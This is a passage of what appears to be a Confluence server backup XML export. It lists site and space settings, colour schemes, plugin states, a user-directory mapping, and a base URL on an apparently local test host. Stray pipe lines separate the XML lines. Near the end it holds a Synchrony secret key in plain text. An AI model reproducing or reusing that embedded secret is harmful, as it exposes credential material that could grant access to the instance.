||||
<nodeStatuses class="list"/>
|
||||
</com.atlassian.confluence.index.status.ReIndexJob>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32788</id>
|
||||
<property name="context"><![CDATA[ds]]></property>
|
||||
<property name="key"><![CDATA[atlassian.confluence.colour.scheme]]></property>
|
||||
<property name="value"><![CDATA[<colourScheme>
|
||||
<colours>
|
||||
<entry>
|
||||
<string>property.style.topbarmenuselectedbgcolour</string>
|
||||
<string>#336699</string>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>property.style.menuselectedbgcolour</string>
|
||||
<string>#6699cc</string>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>property.style.navtextcolour</string>
|
||||
<string>#ffffff</string>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>property.style.bordercolour</string>
|
||||
<string>#6699cc</string>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>property.style.navselectedtextcolour</string>
|
||||
<string>#ffffff</string>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>property.style.breadcrumbstextcolour</string>
|
||||
<string>#ffffff</string>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>property.style.topbarcolour</string>
|
||||
<string>#003366</string>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>property.style.navselectedbgcolour</string>
|
||||
<string>#003366</string>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>property.style.linkcolour</string>
|
||||
<string>#326ca6</string>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>property.style.navbgcolour</string>
|
||||
<string>#6699cc</string>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>property.style.menuitemselectedtextcolour</string>
|
||||
<string>#ffffff</string>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>property.style.menuitemselectedbgcolour</string>
|
||||
<string>#6699cc</string>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>property.style.headingtextcolour</string>
|
||||
<string>#000000</string>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>property.style.spacenamecolour</string>
|
||||
<string>#999999</string>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>property.style.menuitemtextcolour</string>
|
||||
<string>#535353</string>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>property.style.topbarmenuitemtextcolour</string>
|
||||
<string>#326ca6</string>
|
||||
</entry>
|
||||
</colours>
|
||||
</colourScheme>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32789</id>
|
||||
<property name="context"><![CDATA[ds]]></property>
|
||||
<property name="key"><![CDATA[trash.date.migration.time]]></property>
|
||||
<property name="value"><![CDATA[<instant>2023-11-09T06:03:52.619272Z</instant>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32818</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.troubleshooting.thready.configuration.enabled]]></property>
|
||||
<property name="value"><![CDATA[<string>true</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32819</id>
|
||||
<property name="context"><![CDATA[_CALENDAR_ee65026d81383713d11480a2da8ced1608ea1448]]></property>
|
||||
<property name="key"><![CDATA[legacySubCalendarsMigrationCutoffDate]]></property>
|
||||
<property name="value"><![CDATA[<long>1699509861003</long>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32816</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.analytics.client.configuration..policy_acknowledged]]></property>
|
||||
<property name="value"><![CDATA[<string>true</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32817</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.upm.log.PluginSettingsAuditLogService:log:upm_audit_log_v3]]></property>
|
||||
<property name="value"><![CDATA[<list>
|
||||
<string>{"userKey":"Confluence","date":1699509860734,"i18nKey":"upm.auditLog.upm.startup","entryType":"UPM_STARTUP","params":[]}</string>
|
||||
</list>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32814</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.analytics.client.configuration.uuid]]></property>
|
||||
<property name="value"><![CDATA[<string>102be6f5-2e40-4d37-bd5e-e52aef8f80fb</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32815</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.analytics.client.configuration.serverid]]></property>
|
||||
<property name="value"><![CDATA[<string>BNRR-EUMS-GPB5-FJVB</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32812</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.confluence.plugins.confluence-create-content-plugin:build]]></property>
|
||||
<property name="value"><![CDATA[<string>5</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32813</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[gadget.counter]]></property>
|
||||
<property name="value"><![CDATA[<int>2</int>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32810</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.plugins.authentication.sso.config.sso-type]]></property>
|
||||
<property name="value"><![CDATA[<string>NONE</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32811</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.plugins.authentication.sso.config.show-login-form]]></property>
|
||||
<property name="value"><![CDATA[<string>true</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32808</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.upm.atlassian-universal-plugin-manager-plugin:build]]></property>
|
||||
<property name="value"><![CDATA[<string>5</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32809</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.plugins.authentication.atlassian-authentication-plugin:build]]></property>
|
||||
<property name="value"><![CDATA[<string>6</string>]]></property>
|
||||
</object>
|
||||
<object class="DirectoryMapping" package="com.atlassian.crowd.model.application">
|
||||
<id name="id">393217</id>
|
||||
<property name="application" class="ApplicationImpl" package="com.atlassian.crowd.model.application"><id name="id">327681</id>
|
||||
</property>
|
||||
<property name="directory" class="DirectoryImpl" package="com.atlassian.crowd.model.directory"><id name="id">360449</id>
|
||||
</property>
|
||||
<property name="allowAllToAuthenticate">true</property>
|
||||
<collection name="allowedOperations" class="java.util.Set"><element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">UPDATE_GROUP_ATTRIBUTE</element>
|
||||
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">CREATE_ROLE</element>
|
||||
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">DELETE_USER</element>
|
||||
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">UPDATE_ROLE_ATTRIBUTE</element>
|
||||
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">UPDATE_USER</element>
|
||||
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">UPDATE_USER_ATTRIBUTE</element>
|
||||
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">UPDATE_GROUP</element>
|
||||
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">CREATE_USER</element>
|
||||
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">DELETE_ROLE</element>
|
||||
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">CREATE_GROUP</element>
|
||||
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">DELETE_GROUP</element>
|
||||
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">UPDATE_ROLE</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32806</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.confluence.plugins.confluence-collaborative-editor-plugin:build]]></property>
|
||||
<property name="value"><![CDATA[<string>1</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32807</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.confluence.plugins.confluence-roadmap-plugin:build]]></property>
|
||||
<property name="value"><![CDATA[<string>6</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32804</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.confluence.plugins.confluence-space-ia:build]]></property>
|
||||
<property name="value"><![CDATA[<string>1</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32805</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[synchrony_collaborative_editor_app_registered]]></property>
|
||||
<property name="value"><![CDATA[<string>true</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32770</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[confluence.server.installation.date]]></property>
|
||||
<property name="value"><![CDATA[<date>2023-11-09 06:02:30.133 UTC</date>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32771</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[atlassian.confluence.settings]]></property>
|
||||
<property name="value"><![CDATA[<settings>
|
||||
<doNotSave>false</doNotSave>
|
||||
<allowCamelCase>false</allowCamelCase>
|
||||
<allowTrackbacks>false</allowTrackbacks>
|
||||
<allowThreadedComments>true</allowThreadedComments>
|
||||
<externalUserManagement>false</externalUserManagement>
|
||||
<denyPublicSignup>true</denyPublicSignup>
|
||||
<emailAdminMessageOff>false</emailAdminMessageOff>
|
||||
<almostSupportPeriodEndMessageOff>false</almostSupportPeriodEndMessageOff>
|
||||
<senMissingInLicenseMessageOff>true</senMissingInLicenseMessageOff>
|
||||
<baseUrlAdminMessageOff>false</baseUrlAdminMessageOff>
|
||||
<allowRemoteApi>false</allowRemoteApi>
|
||||
<allowRemoteApiAnonymous>false</allowRemoteApiAnonymous>
|
||||
<antiXssMode>true</antiXssMode>
|
||||
<gzippingResponse>true</gzippingResponse>
|
||||
<disableLogo>false</disableLogo>
|
||||
<sharedMode>false</sharedMode>
|
||||
<enableDidYouMean>false</enableDidYouMean>
|
||||
<enableQuickNav>true</enableQuickNav>
|
||||
<enableSpaceStyles>false</enableSpaceStyles>
|
||||
<enableOpenSearch>true</enableOpenSearch>
|
||||
<showSystemInfoIn500Page>false</showSystemInfoIn500Page>
|
||||
<showApplicationTitle>false</showApplicationTitle>
|
||||
<captchaSettings>
|
||||
<enableCaptcha>false</enableCaptcha>
|
||||
<enableDebug>false</enableDebug>
|
||||
<captchaGroups class="list"/>
|
||||
<exclude>registered</exclude>
|
||||
</captchaSettings>
|
||||
<customHtmlSettings>
|
||||
<beforeHeadEnd></beforeHeadEnd>
|
||||
<afterBodyStart></afterBodyStart>
|
||||
<beforeBodyEnd></beforeBodyEnd>
|
||||
</customHtmlSettings>
|
||||
<colourSchemesSettings>
|
||||
<colourSchemeType>custom</colourSchemeType>
|
||||
</colourSchemesSettings>
|
||||
<loginManagerSettings>
|
||||
<enableElevatedSecurityCheck>true</enableElevatedSecurityCheck>
|
||||
<loginAttemptsThreshold>3</loginAttemptsThreshold>
|
||||
</loginManagerSettings>
|
||||
<confluenceHttpParameters>
|
||||
<connectionTimeout>10000</connectionTimeout>
|
||||
<socketTimeout>10000</socketTimeout>
|
||||
<enabled>true</enabled>
|
||||
</confluenceHttpParameters>
|
||||
<attachmentMaxSize>104857600</attachmentMaxSize>
|
||||
<auditLogRetentionNumber>3</auditLogRetentionNumber>
|
||||
<auditLogRetentionUnit>Years</auditLogRetentionUnit>
|
||||
<draftSaveInterval>30000</draftSaveInterval>
|
||||
<maxAttachmentsInUI>5</maxAttachmentsInUI>
|
||||
<siteTitle>Confluence</siteTitle>
|
||||
<documentationUrlPattern>http://docs.atlassian.com/confluence/docs-{0}/{1}</documentationUrlPattern>
|
||||
<showContactAdministratorsForm>true</showContactAdministratorsForm>
|
||||
<emailAddressVisibility>email.address.public</emailAddressVisibility>
|
||||
<defaultEncoding>UTF-8</defaultEncoding>
|
||||
<maxThumbHeight>300</maxThumbHeight>
|
||||
<maxThumbWidth>300</maxThumbWidth>
|
||||
<backupAttachmentsDaily>true</backupAttachmentsDaily>
|
||||
<backupDaily>true</backupDaily>
|
||||
<backupPath>/var/atlassian/application-data/confluence/backups</backupPath>
|
||||
<nofollowExternalLinks>true</nofollowExternalLinks>
|
||||
<indexingLanguage>english</indexingLanguage>
|
||||
<globalDefaultLocale>en_GB</globalDefaultLocale>
|
||||
<dailyBackupFilePrefix>backup-</dailyBackupFilePrefix>
|
||||
<dailyBackupDateFormatPattern>yyyy_MM_dd</dailyBackupDateFormatPattern>
|
||||
<supportRequestEmail>confluence-autosupportrequests@atlassian.com</supportRequestEmail>
|
||||
<defaultSpaceHomepageTitle>Home</defaultSpaceHomepageTitle>
|
||||
<baseUrl>http://nessus-docker.local:8090</baseUrl>
|
||||
<attachmentDataStore>file.system.based.attachments.storage</attachmentDataStore>
|
||||
<displayLinkIcons>false</displayLinkIcons>
|
||||
<addWildcardsToUserAndGroupSearches>true</addWildcardsToUserAndGroupSearches>
|
||||
<xsrfAddComments>true</xsrfAddComments>
|
||||
<webSudoTimeout>10</webSudoTimeout>
|
||||
<webSudoEnabled>true</webSudoEnabled>
|
||||
<defaultUsersGroup>confluence-users</defaultUsersGroup>
|
||||
<attachmentSecurityLevel>smart</attachmentSecurityLevel>
|
||||
<enableJavascriptTop>true</enableJavascriptTop>
|
||||
<supportPeriodEndMessageOff>false</supportPeriodEndMessageOff>
|
||||
<enableWysiwyg>true</enableWysiwyg>
|
||||
<useWysiwygByDefault>true</useWysiwygByDefault>
|
||||
<numberOfBreadcrumbAncestors>1</numberOfBreadcrumbAncestors>
|
||||
<viewSpaceGoesToSpaceSummary>false</viewSpaceGoesToSpaceSummary>
|
||||
<enableLikes>false</enableLikes>
|
||||
<currentIndexVersion>0</currentIndexVersion>
|
||||
<maintenanceBannerMessageOn>false</maintenanceBannerMessageOn>
|
||||
<maxSimultaneousQuickNavRequests>40</maxSimultaneousQuickNavRequests>
|
||||
<maxRssItems>200</maxRssItems>
|
||||
<rssTimeout>60</rssTimeout>
|
||||
<pageTimeout>120</pageTimeout>
|
||||
</settings>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32769</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[confluence.server.id]]></property>
|
||||
<property name="value"><![CDATA[<string>BNRR-EUMS-GPB5-FJVB</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32786</id>
|
||||
<property name="context"><![CDATA[ds]]></property>
|
||||
<property name="key"><![CDATA[atlassian.confluence.space.settings]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.setup.settings.SpaceSettings>
|
||||
<spaceKey>ds</spaceKey>
|
||||
<disableLogo>false</disableLogo>
|
||||
<colourSchemesSettings>
|
||||
<colourSchemeType>global</colourSchemeType>
|
||||
</colourSchemesSettings>
|
||||
<doNotSave>false</doNotSave>
|
||||
</com.atlassian.confluence.setup.settings.SpaceSettings>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32787</id>
|
||||
<property name="context"><![CDATA[ds]]></property>
|
||||
<property name="key"><![CDATA[sidebar.nav-type]]></property>
|
||||
<property name="value"><![CDATA[<string>page-tree</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32784</id>
|
||||
<property name="context"><![CDATA[ds]]></property>
|
||||
<property name="key"><![CDATA[atlassian.confluence.theme.settings]]></property>
|
||||
<property name="value"><![CDATA[<map>
|
||||
<entry>
|
||||
<string>theme.key</string>
|
||||
<string></string>
|
||||
</entry>
|
||||
</map>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32785</id>
|
||||
<property name="context"><![CDATA[ds]]></property>
|
||||
<property name="key"><![CDATA[atlassian.confluence.css.resource.counter]]></property>
|
||||
<property name="value"><![CDATA[<int>4</int>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32782</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[atlassian.confluence.plugin.resource.counter]]></property>
|
||||
<property name="value"><![CDATA[<int>2</int>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32783</id>
|
||||
<property name="context"><![CDATA[ds]]></property>
|
||||
<property name="key"><![CDATA[copyspace.copier.spacekey]]></property>
|
||||
<property name="value"><![CDATA[<string>DEMO</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32780</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[AO_950DC3_#]]></property>
|
||||
<property name="value"><![CDATA[<string>20</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32781</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[plugin.manager.state.Map]]></property>
|
||||
<property name="value"><![CDATA[<map>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:blogpost-trashed-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-inline-tasks:task-email-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:comment-created-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:page-trashed-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:blogpost-edited-hipchat-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:page-edited-hipchat-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.share-page:share-page-hipchat-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:page-moved-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-like:like-created-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.synchrony-interop</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-request-access-plugin:request-access-notification-email-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:follower-added-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-hipchat-integration-plugin</string>
|
||||
<boolean>false</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:page-created-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-onboarding:notification-template-less-users-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.plugins.base-hipchat-integration-plugin-api</string>
|
||||
<boolean>false</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-file-notifications:file-content-update-email-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-onboarding:notification-template-no-spaces-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-collaborative-editor-plugin</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-mentions-plugin:mention-hipchat-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.plugins.base-hipchat-integration-plugin</string>
|
||||
<boolean>false</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:comment-edited-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-inline-comments:notification-template-new-mail-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-notifications-batch-plugin:batching-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.share-page:share-attachment-email-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.share-page:share-draft-email-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:blogpost-created-hipchat-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:page-edited-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-inline-comments:notification-template-resolve-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-inline-comments:notification-template-reply-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-inline-tasks:task-hipchat-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-hipchat-emoticons-plugin</string>
|
||||
<boolean>false</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.share-page:share-page-email-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:blogpost-created-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:comment-edited-hipchat-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:blogpost-edited-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:follower-added-hipchat-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:comment-created-hipchat-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:page-created-hipchat-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:forgot-password-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-mentions-plugin:mention-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-file-notifications:file-content-remove-email-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-request-access-plugin:grant-access-notification-email-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-like:like-created-notification-template-hipchat-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.labs.hipchat.confluence-hipchat</string>
|
||||
<boolean>false</boolean>
|
||||
</entry>
|
||||
</map>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32778</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[AO_9412A1_#]]></property>
|
||||
<property name="value"><![CDATA[<string>8</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32779</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[AO_7B47A5_#]]></property>
|
||||
<property name="value"><![CDATA[<string>4</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32776</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[AO_187CCC_#]]></property>
|
||||
<property name="value"><![CDATA[<string>1</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32777</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.plugins.pulp]]></property>
|
||||
<property name="key"><![CDATA[version.history]]></property>
|
||||
<property name="value"><![CDATA[<map>
|
||||
<entry>
|
||||
<string>7.19.12</string>
|
||||
<string>2023-11-09T06:02:36.753Z</string>
|
||||
</entry>
|
||||
</map>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32774</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[AO_21D670_#]]></property>
|
||||
<property name="value"><![CDATA[<string>1</string>]]></property>
|
||||
</object>
|
||||
<object class="Secrets" package="com.atlassian.synchrony">
|
||||
<id name="key"><![CDATA[Synchrony-0fccd6a4-3e18-398a-8fe4-ff41cdd6c7ad]]></id>
|
||||
<property name="value"><![CDATA[ZmUL2wyLlx8ROyTY/satsTeR2J61ADRUqTnTe8Ai1og=]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32775</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
